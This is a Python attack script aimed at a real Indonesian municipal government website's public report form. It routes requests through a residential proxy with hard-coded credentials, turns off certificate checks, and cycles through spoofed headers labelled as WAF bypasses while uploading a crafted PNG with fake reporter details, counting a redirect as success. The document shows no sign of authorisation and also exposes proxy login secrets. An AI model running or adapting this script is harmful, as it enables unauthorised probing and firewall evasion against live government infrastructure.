#!/usr/bin/env python3
import requests
import time
import io
import struct
import zlib

PROXY = {
    'http': 'http://b04dd480860a80d0:VJvorQIeLmBSK1G9@res.proxy-seller.com:10001',
    'https': 'http://b04dd480860a80d0:VJvorQIeLmBSK1G9@res.proxy-seller.com:10001'
}

def create_clean_png():
    """Create a 1x1 valid PNG without any suspicious content"""
    def png_chunk(type_code, data):
        chunk_type = type_code.encode('latin-1')
        chunk_len = struct.pack('>I', len(data))
        chunk_crc = struct.pack('>I', zlib.crc32(chunk_type + data) & 0xffffffff)
        return chunk_len + chunk_type + data + chunk_crc
    
    signature = b'\x89PNG\r\n\x1a\n'
    ihdr_data = struct.pack('>IIBBBBB', 1, 1, 8, 2, 0, 0, 0)
    ihdr = png_chunk('IHDR', ihdr_data)
    raw_data = b'\x00\xff\xff\xff'
    compressed = zlib.compress(raw_data, 9)
    idat = png_chunk('IDAT', compressed)
    iend = png_chunk('IEND', b'')
    
    return signature + ihdr + idat + iend

# WAF bypass headers
bypass_headers = [
    # Try with X-Forwarded-For
    {'X-Forwarded-For': '127.0.0.1', 'X-Real-IP': '127.0.0.1'},
    # Try with X-Originating-IP
    {'X-Originating-IP': '127.0.0.1'},
    # Try with origin manipulation
    {'Origin': 'https://pohon.disperkim.semarangkota.go.id', 'Referer': 'https://pohon.disperkim.semarangkota.go.id/main'},
    # Try appearing as bot
    {'X-Requested-With': 'XMLHttpRequest'},
]

session = requests.Session()

# Get main page first
base_headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Connection': 'keep-alive',
}

print("[*] Getting session...")
resp = session.get("https://pohon.disperkim.semarangkota.go.id/main", headers=base_headers, proxies=PROXY, verify=False, timeout=30)
print(f"[*] Status: {resp.status_code}")

time.sleep(3)

png_content = create_clean_png()
print(f"[*] PNG created: {len(png_content)} bytes")

for i, extra_headers in enumerate(bypass_headers):
    print(f"\n[*] Test {i+1}: Extra headers: {list(extra_headers.keys())}")
    
    headers = base_headers.copy()
    headers.update(extra_headers)
    
    files = {
        'userfile': ('image.png', io.BytesIO(png_content), 'image/png')
    }
    
    data = {
        'pelapor_nama': f'Test{i}',
        'pelapor_alamat': 'Jl Test',
        'pelapor_phone': '08123456789',
        'pohon_lokasi': 'Jakarta',
        'pohon_keterangan': 'Test',
    }
    
    try:
        resp = session.post("https://pohon.disperkim.semarangkota.go.id/main/laporan_input", 
                           files=files, data=data, headers=headers, 
                           proxies=PROXY, verify=False, timeout=60, allow_redirects=False)
        print(f"[*] Status: {resp.status_code}, Length: {len(resp.text)}")
        
        if resp.status_code == 302:
            print("[+] SUCCESS! Upload might have worked!")
            break
        elif resp.status_code == 200:
            if 'berhasil' in resp.text.lower():
                print("[+] Success message found!")
            elif len(resp.text) > 100:
                print("[*] Got response content")
    except Exception as e:
        print(f"[-] Error: {e}")
    
    time.sleep(3)